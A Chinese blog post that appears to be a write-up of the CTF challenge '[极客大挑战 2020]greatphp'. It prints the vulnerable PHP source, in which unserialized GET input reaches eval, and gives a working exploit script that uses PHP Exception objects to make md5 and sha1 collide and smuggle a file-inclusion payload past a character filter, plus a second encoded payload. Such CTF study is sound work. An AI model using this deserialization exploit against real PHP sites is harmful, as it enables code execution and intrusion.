nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[极客大挑战 2020]greatphp

代码审计

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

绕过md5
这里直接给出payload

<?php

class SYCLOVER {
    public $syc;
    public $lover;
}

$payload = '?><?= include $_GET[_]; ?>';
$a=new Exception($payload,1);$b=new Exception($payload,2);

$s = new SYCLOVER();
$s->syc = $a;
$s->lover = $b;
var_dump(urlencode(serialize($s)));

就是利用原生类Exception绕过md5
原理参考2024-01-24T12:13:59.png
https://blog.csdn.net/LYJ20010728
细节就是要在同一行,然后命令执行那里我们可以文件包含绕过,但是不明白为什么不可以``执行命令奇怪,文件包含不需要加括号,然后还可以$GET[_]来绕过引号的使用,还有一种方法没看懂

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";

我这解码出来什么都不是....

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [极客大挑战 2020]greatphp

评论